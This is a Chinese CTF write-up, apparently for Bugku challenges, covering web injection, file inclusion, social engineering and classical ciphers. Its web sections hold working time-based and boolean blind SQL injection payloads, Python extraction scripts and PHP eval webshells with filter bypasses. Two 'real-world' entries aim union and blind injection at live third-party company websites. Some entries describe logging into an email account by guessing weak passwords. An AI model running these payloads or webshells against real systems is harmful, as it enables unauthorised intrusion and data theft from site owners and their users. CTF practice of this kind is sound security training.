1. 11’ and (select case when (substring((select group_concat(table_name) from information_schema.tables where table_schema=database()) from {0} for 1)=’{1}’) then sleep(4) else 1 end));#
2. 11’ and (select case when (substring((select group_concat(column_name) from information_schema.columns where table_name=‘flag’) from {0} for 1)=’{1}’) then sleep(4) else 1 end));#

文件包含2

首先进入界面，F12发现了源码中有upload.php而且./upload/可读，猛一看像是文件上传，但是题目的提示是文件包含啊！
tip转义过来就是include.php那我们就按照文件包含去尝试一下
结果尝试了一堆方法光是返回NAIVE!!!....回归上传的思路吧...
上传图片小马（事实上并没有进行MIME检验，直接替换内容即可）
发现过滤了<?php 和?>,这里给出两种绕过方法

```
<?=@eval($_POST['cmd']);
<script language="php">eval($_POST['cmd']);</script>
```

```
<?=$a;?>
It's a shorthand for <?php echo $a; ?>.
It's enabled by default since 5.4 regardless of php.ini settings.
```

嗯，然后再upload.php中是不能以php运行的，所以需要再include.php(index.php)中的file变量来包含upload目录下的图片文件！
然后直接访问即可！
SKCTF{uP104D_1nclud3_426fh8_is_Fun}

实战注入2

很简单，关键是找注入点，都点一点，找找就好了，直接给payload了

http://www.kabelindo.co.id/readnews.php?id=159 union select 1,database(),database(),database(),5#

有的地方会限制长度，所以我写了好几个database()，得到其名称u9897uwx_kabel，第三个地方是内容，所以不限制长度

http://www.kabelindo.co.id/readnews.php?id=159 union select 1,2,group_concat(table_name),4,5 from information_schema.tables where table_schema=database()#

多次

1’ 错误

1’’ 可以

1’^‘1’!=‘1 可以

1’^(ascii(select database())>300)^‘1’!=‘1 可以

payload：1’^(ascii(substring((select database())from 1))=3)^‘1’!='1

但是会过滤for，那怎么办呢？information_schema没法用啊

```
import requests,string
url = 'http://120.24.86.145:9004/1ndex.php?id='
s = requests.session()
str = ''
dict = string.digits + string.letters
for i in range(10):
 for j in dict:
  #res = s.get(url + "1'^(ascii(substring((select database())from {0}))={1})^'1'!='1".format(i,ord(j)))
  #res = s.get(url + "1'^(ascii(substring((select group_concat(table_name) from information_schema.tables where table_schema=database())from {0}))>{1})^'1'!='1".format(i,ord(j)))
  #res = s.get(url + "1'^(ascii(substring((select group_concat(column_name) from information_schema.columns)from {0}))>{1})^'1'!='1".format(i,ord(j)))
  if 'seriously' in res.content:
   str += j
   print str
   break
print str
```

!!!

sql注入2

1. 发现username=’=‘居然成功了，显示密码错误

   ‘=’’^‘1’!=‘1 可以

   admin’=‘admin 不可以

   ‘=’’^‘admin’!=‘admin 可以，不知道服务器端怎么实现的，上面那条不行，我也不关心，能绕过就行

   payload：’=’’(ascii(mid((passwd)from(1)))=47)’’!=’

```
import requests,string
url = 'http://120.24.86.145:8007/web2/login.php'
s = requests.session()
#payload = "'=''^(ascii(mid((passwd)from(1)))=47)^''!='"
passwd=''
dict = string.digits + string.letters
for i in range(33):
 for j in dict:
  print j
  res = s.post(url, data={'uname':"'=''^(ascii(mid((passwd)from({0})))={1})^''!='".format(i,ord(j)), 'passwd':'1
'})
  if 'username error' in res.content:
   print res.text.encode('gbk','ignore')
   passwd+=j
   print passwd
   break
print passwd
```

md5解密就行了，登录然后ls，完成
2. 看了其他大佬的wp，居然不是用sql注入来做的，而是路径扫描，用nikto，我没试过，大家自行尝试

wordpress

点击一篇文章，再点击sun，发现下图，点击登陆，用户名为sun，密码为19980321，社会工程学的题目mmp。。。然后点击文章，发现有一个密码保护的文章，有两个字符串，用御剑扫描后台，发现phpmyadmin，http://wp.bugku.com/phpmyadmin/，账号密码是刚才的字符串，在数据库中发现flag。感觉这个题一点都不社会，会有人在文章里存数据库密码么= =

login3

username=admin 存在但是密码不正确
username=admin’ 用户名不存在
username=’ 空格为非法字符
username=admin’and(1=1) 等于号和and都非法
username=admin’# 密码错误，说明引号和＃都没有被过滤
括号没被过滤，逗号被过滤了

分析一下username=admin’ 和 username=admin’# 的区别，可以得到大概是这样：
where username = ‘用户名’
and password = ‘密码’

题目提示是布尔盲注，结合上面一通分析：
username=1 用户不存在
username=1’or(1)# 密码不正确

在网上搜了一些偏僻的函数：
http://www.cnblogs.com/xiangxiaodong/archive/2011/02/21/1959589.html
因为逗号被过滤了，所以只能选没有逗号的：
username=1’or(position('a’in(select(database())))< 1)# 成功注入
username=1’or(length((select(database())))>7)# 破解出数据库长度为8
直接猜表1’or(length((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))>0)#
where被过滤！！！ 我彻底不会了
又学了一招，substring from for：1’or(substring((select(database()))from(1)for(1))>‘a’)# 哇，for也非法

看wp：

```
import requests
url = 'http://47.93.190.246:49167/index.php'
r = requests.Session()
result = ''
for i in range(1,33):
 for j in range(37,127):
  payload = "admin'^(ascii(mid((password)from({0})))>{1})#".format(str(i),str(j))
  print payload
  data = {"username":payload,"password":"asd"}
  html = r.post(url,data=data)
  if "password error!" in html.content:
   result += chr(j)
   print result
   break
```

MySQL ASCII() returns the ASCII value of the left most character of a given string.
MID() extracts a substring from a string. The actual string, position to start extraction and length of the extracted string - all are specified as arguments.
其实我自己的尝试已经很接近了
最重要的是，我学会了:

1. ascii(string)，上述英文说的很清楚了
2. string from int
3. 判断某内容是否在网页中"XXX" in html.content

然后就爆出了密码，然后md5解密

报错注入

1. 我的想法

```
import requests,string
url = 'http://103.238.227.13:10088/?id='
s = requests.session()
str = ''
#dict = string.letters + string.punctuation + ' '
for i in range(1,147):
 for j in range(32,126):
  res = s.get(url + "1/**/and/**/ascii(substring(load_file(0x2F7661722F746573742F6B65795F312E706870)from({0}) fo
r 1))={1}".format(i,j))
  #print res.text
  if 'td' in res.content:
   str += chr(j)
   print str
   break
print str
```

2. 大佬们的想法

```
http://103.238.227.13:10088/index.php?id=1%0Aand%0Aextractvalue(1,concat(0x7e,(select%0Aconcat(0x7e,substr((load
_file(0x2F7661722F746573742F6B65795F312E706870)),90,150),0x7e)),0x7e))
```

不太懂

实战1-注入

id=374’ ： 1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’ ORDER BY release_date DESC’ at line 1 ，看来对 ’ 转义了
id=374%20and%20(1) ：写脚本盲注就好了

```
import requests
import string
allString=string.digits + string.letters
flag=""

for i in range(1,33):
    for str1 in allString:
        url = "http://www.interplay.com/games/support.php?id=374 and ascii(substring((select group_concat(table_
name) from information_schema.tables where table_schema=database()) from {0}))={1}#".format(str(i),ord(str1))
        try:
   res=requests.get(url)
   print res.text
   if 'Technical Support' in res.content:
    flag+=str1
   print flag
        except:
            continue
print 'flag:' + flag
```

trim的日记本

http://120.24.86.145:9002/show.php 这是个啥破题，flag很明显

social

密码

提示足够，请自行猜解

相关博客

信息查找？？？

百度搜索：今日头条 bugku.cn 即可，自己找群号吧

简单个人信息收集

zip伪加密，把第三个504B的09修改为08，！！！！！！！！！！！！！！！！！！！！！！！！！

入门题目，社工帝？

社工题，百度孤长离，发现一个贴吧，点开有：我的邮箱 bkctftest@163.com 嘿嘿 给我发点flag吧，我手里也有flag哟要不要交换一下，根据题目内容提示：弱口令，猜测是用弱口令的密码登陆163邮箱查看密码。
百度top100弱口令密码，然后一个一个试把，发现第二个就是正确密码,登陆邮箱后就可以找到key，邮箱有好几页，慢慢找。

简单的社工尝试

我开始用的是百度识图，结果找不到，还是google好，找到一个github，然后有个微博的链接，里面有张图片，打开图片上的链接就行了

Crypto

滴答滴

摩斯

聪明的小羊

栅栏

ok

Ook!
https://www.splitbrain.org/services/ook

这不是摩斯密码

brainfuck
https://www.splitbrain.org/services/ook

简单加密

结尾的AA像不像base64的==

```
import base64
str = 'e6Z9i~]8R~U~QHE{RnY{QXg~QnQ{^XVlRXlp^XI5Q6Q6SKY8jUAA'
s = ''
for i in range(len(str)):
 s+=chr(ord(str[i])+(ord('=')-ord('A')))
 print s
print base64.b64decode(s)
```

一段base64编码

base64->八进制(unescape)->16进制->unescape->ascii->Decode HTML->Decode HTML

.!?

short Ook!
https://www.splitbrain.org/services/ook

+[]-

brainfuck
https://www.splitbrain.org/services/ook

奇怪的密码

gndk€rlqhmtkwwp}z gndk像是flag
gndk的10进制的ASCII码分别是：103 110 100 107
flag的10进制的ASCII码分别是 ：102 108 97 103

```
str = 'gndk{rlqhmtkwwp}z'   //€换成{
s = ''
for i in range(len(str)):
 s+=chr(ord(str[i])-i-1)
 print s
print s
```

zip伪加密

把前两个504B后面的09都改成00

来自宇宙的信号

百度一下minecraft 附魔台 语言

托马斯杰斐逊

http://blog.csdn.net/pdsu161530247/article/details/73604729